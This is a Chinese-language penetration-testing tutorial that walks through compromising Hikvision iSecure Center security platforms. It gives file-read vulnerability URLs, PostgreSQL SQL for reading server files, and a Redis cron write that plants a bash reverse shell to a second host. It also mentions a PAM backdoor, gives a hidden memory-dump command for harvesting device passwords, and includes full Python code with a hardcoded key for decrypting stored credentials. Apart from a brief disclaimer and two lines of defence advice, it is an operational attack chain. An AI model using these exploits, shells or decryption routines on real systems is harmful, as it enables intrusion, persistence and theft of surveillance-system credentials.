此文档仍在撰写中...
温馨提示
本教程仅记录内网攻防测试,相关POC海康已发布
本次渗透测试主要目的为尽可能多的获取设备信息,获取设备、平台的完整控制权
本次渗透测试均在内网虚拟环境下渗透,相关工具及方法切莫用于非法途径
准备工具
本次攻防测试基于Windows平台,需要提前准备以下工具:
环境:
java
Python
工具:
wiscp(文件传输 可替代)
SecureCRT(shell 可替代)
pgAdmin(PostgreSQL数据库连接工具)
Another Redis Desktop Manager(Redis连接工具)
linux服务器一台(目标主机要能访问到)
其余工具或jsp可自备,原理大同小异
目的平台
综合安防管理平台:iSecure Center
教育综合安防管理平台:iSecure Center-Education
先在内网中找到上述平台,以便下步操作
海康isc平台主要端口及Url路径
55555
ssh主端口
7001
运管中心数据库(端口默认不开放)
7092
应用数据库
7006
日志数据库
7019
Redis
http://ip/center/
安防管理平台主页
http://ip:8001/center/
运管中心
http://ip:9000
minio(端口默认不开放)
http://ip:8068
Consul by HashiCorp(端口默认不开放)
确认漏洞
利用MInggongK/Hikvision-: 海康威视综合漏洞利用工具(github)对目标平台进行检查
由于已经安装更新补丁,主机已不存在漏洞
漏洞分析及对应手段
Hikvision isecure center文件上传漏洞
利用MInggongK/Hikvision-: 海康威视综合漏洞利用工具(github)上传一句话木马即可获取shell(实测获取为root权限)
信息泄露漏洞
信息泄露漏洞包括
Hikvision综合安防管理平台config信息泄露漏洞
https://ip/portal/conf/config.properties
存在Hikvision综合安防管理平台env信息泄露漏洞
https://ip/artemis-portal/artemis/env
Hikvision综合安防管理平台orgManage任意文件读取漏洞
https://ip/center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../opt/hikvision/web/opsMgrCenter/conf/config.properties
Hikvision综合安防管理平台files任意文件读取漏洞
https://ip/lm/api/files;.css?link=/opt/hikvision/web/opsMgrCenter/conf/config.properties
在最早版本的综合安防平台
内,任意文件读取漏洞可以直接读取到/opt/hikvision/
目录下的所有文件,在某个版本后仅能读取opt目录下的/components
./opsMgrAgent
下的文件,且在利用漏洞时需要将hikvision
首字母大写,实际利用结果为https://ip/lm/api/files;.css?link=/opt/hikvision/web/components/postgresql11linux64.1/conf/compact_backup.properties
不知道海康的相关技术是怎么改的代码,修复漏洞也不修复完全,猜测是临时封堵漏洞将所有含opsMgrCenter
的目录禁止读取了
利用漏洞
由于主机在渗透后已安装补丁,本次渗透测试利用过程大致如下:
利用Hikvision综合安防管理平台files任意文件读取漏洞
获取到PostgreSQL配置文件,由于无法获取到opsMgrCenter
目录下运管中心的数据库,先拿应用数据库也是一样的https://ip/lm/api/files;.css?link=/opt/hikvision/web/components/postgresql11linux64.1/conf/compact_backup.properties
浏览器下载到config.properties
用记事本打开其中
rdbms.1.password
就是数据库密码,可利用海康数据库解密工具或附录-海康加解密源码
进行解密
获取运行管理中心数据库秘钥
利用PostgreSQL任意文件读取获取配置文件
连接7092
端口的数据库,利用解密出的密码进行连接并使用PSQL工具,本次方法1即可返回配置文件
方法1 pg_read_file
-- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径
select pg_read_file('/opt/hikvision/web/opsMgrCenter/conf/config.properties');
-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/opt/hikvision/web/opsMgrCenter/conf/config.properties$$)
方法2
create table testf0x(t TEXT); copy testf0x from '/opt/hikvision/web/opsMgrCenter/conf/config.properties'; select * from testf0x limit 1 offset 0;
方法3 lo_import
Select lo_import('/opt/hikvision/web/opsMgrCenter/conf/config.properties',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a
-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111
用工具解密opsmgr.database.password
即可得到运管中心数据库密码
修改sysadmin用户密码/建立新用户
连接7001
运管中心数据库(注意,如果Redis端口是开着,请按照附录-配置文件路径表
直接读取Redis配置文件连接Redis)
opsmgr_db>center_user
表中存放的是运管中心的账号密码,用工具生成新密码或修改原密码(记得备份)
登录后台管理系统
开放Redis端口
利用新生成的账号登录运管中心,在系统维护>参数配置>防火墙策略配置
中开启Redis端口(或其他任意端口)
利用Redis反弹shell提权
读取并解密/opt/hikvision/web/components/redislinux64.1/conf/config.properties
中的密码,连接Redis数据库
可利用现成工具进行反弹shell
或使用下列方法
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set xx "\n* * * * * bash -i >& /dev/tcp/192.168.63.131/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
即可在远端获取shell
临时修改密码后直接ssh登录
拿到此方法拿到的shell后为了更加方便的使用shell和scp,需要对sshd进行修改
利用pam模块留下后门
Dump内存获取内网其余安防设备密码
根据运行管理中心内查询可知,综合安防平台与下级设备使用设备接入框架(dac)进行接入管理,设备密码在数据库中虽以密文存储,但在内存中是经过解密的,在shell中运行以下命令dump出设备接入框架(dac)的内存用于分析
DAS_PID=$(pgrep -f "/opt/hikvision/web/components/dac.1/bin/ldm/das" | head -n 1) && sudo gcore -o /tmp/.das_dumpfile $DAS_PID && sudo mv /tmp/.das_dumpfile.$DAS_PID /tmp/.das_dumpfile
防御建议
及时更新海康相关补丁
如非必要,关闭Redis、PostgreSQL等端口
附录
海康加解密源码
利用菜单1可生成:应用数据库中用户表的user_pwd
salt
运管数据库中用户表的c_password
c_salt
利用菜单2可解密配置文件中EQ
开头的密钥
利用菜单3可上传EQ
开头的密钥,适用与已经被攻击获取到密钥的情况下重新生成新密钥
菜单3无法通过海康数据库解密工具解密,请勿使用
import hashlib
import base64
import secrets
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# 固定密码(例如:'Abc123@&$++Hik45')
FIXED_PASSWORD = "Abc123@&$++Hik45"
# 1. 计算 SHA-256 哈希值
def get_sha256(password, salt):
return hashlib.sha256((password + salt).encode('utf-8')).hexdigest()
# 2. 解密函数(Base64 -> 原始数据)
def decrypt_data(base64_string):
try:
# Base64 解码
decoded_data = base64.b64decode(base64_string)
if decoded_data[0] != 17:
return None
# 提取盐、IV 和加密数据
salt, iv = decoded_data[4:20], decoded_data[20:36]
data = decoded_data[36:]
# 使用 PBKDF2 从密码派生 AES 密钥
key = PBKDF2HMAC(hashes.SHA256(), length=32, salt=salt, iterations=10000, backend=default_backend()).derive(FIXED_PASSWORD.encode('utf-8'))
# 解密数据
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(data) + decryptor.finalize()
# 去掉填充字符 (\x00)
return decrypted_data.rstrip(b'\x00').decode('utf-8')
except Exception as e:
print(f"解密失败: {e}")
return None
# 3. 加密函数(原始数据 -> Base64)
def encrypt_data(password, salt):
try:
# 派生 AES 密钥
key = PBKDF2HMAC(hashes.SHA256(), length=32, salt=salt, iterations=10000, backend=default_backend()).derive(FIXED_PASSWORD.encode('utf-8'))
# 生成随机 IV
iv = secrets.token_bytes(16)
# 使用 AES 加密
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
padded_data = password.encode('utf-8') + b'\0' * (16 - len(password) % 16) # 填充到16的倍数
encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
# 构建加密数据包(盐、IV、加密数据)
size = len(encrypted_data)
header = bytes([17]) + bytes([(size >> 8) & 0xff, size & 0xff]) + bytes([0])
encrypted_packet = header + salt + iv + encrypted_data
# 返回 Base64 编码
return base64.b64encode(encrypted_packet).decode('utf-8')
except Exception as e:
print(f"加密失败: {e}")
return None
# 4. 生成随机盐
def generate_random_salt():
return secrets.token_bytes(16) # 生成16字节的随机盐
# 5. 菜单函数
def show_menu():
print("\n请选择操作:")
print("1. 生成密码哈希")
print("2. 解密数据")
print("3. 加密数据")
print("0. 退出")
def main():
while True:
show_menu()
choice = input("请输入选项: ").strip()
if choice == "1":
password = input("请输入密码: ").strip()
salt = generate_random_salt()
print(f"盐值(salt|c_salt): {salt.hex()}")
print(f"生成的 SHA-256 哈希(user_pwd|c_password): {get_sha256(password, salt.hex())}")
elif choice == "2":
base64_data = input("请输入 Base64 加密数据: ").strip()
decrypted_data = decrypt_data(base64_data)
print(f"解密后的数据: {decrypted_data if decrypted_data else '解密失败'}")
elif choice == "3":
password = input("请输入需要加密的数据: ").strip()
salt = generate_random_salt()
encrypted_data = encrypt_data(password, salt)
print(f"加密后的 Base64 数据: {encrypted_data if encrypted_data else '加密失败'}")
elif choice == "0":
print("退出程序")
break
else:
print("无效的选项,请重新选择")
if __name__ == "__main__":
main()
配置文件路径表
配置文件解密
ManageDB数据库 root密码获取
/opt/hikvision/web/components/mdblinux64.1/script/mdb/script/ManageDB 0 /opt/hikvision/web/components/mdblinux64.1/conf/sac.keys /opt/hikvision/web/components/mdblinux64.1/conf/sac_config.xml
数据库密码一般默认为
whhik1234567890+
不限制登录主机 新版本限制为localhost
需要修改权限
日志文件位置
文件类型日志储存位置
SSH相关日志
/var/log/history/hiksyslog
目录下所有文件均为SSH链接相关日志,此日志不包含SCP协议,日志后缀为.operatingsystemrecord
日志格式如下(括号内为注释,日志内没有):
#1678255459(时间戳)
whoami(具体命令)
对应用户文件夹内
.bash_history
文件 路径为/root/.bash_history
/home/hik/.bash_history
评论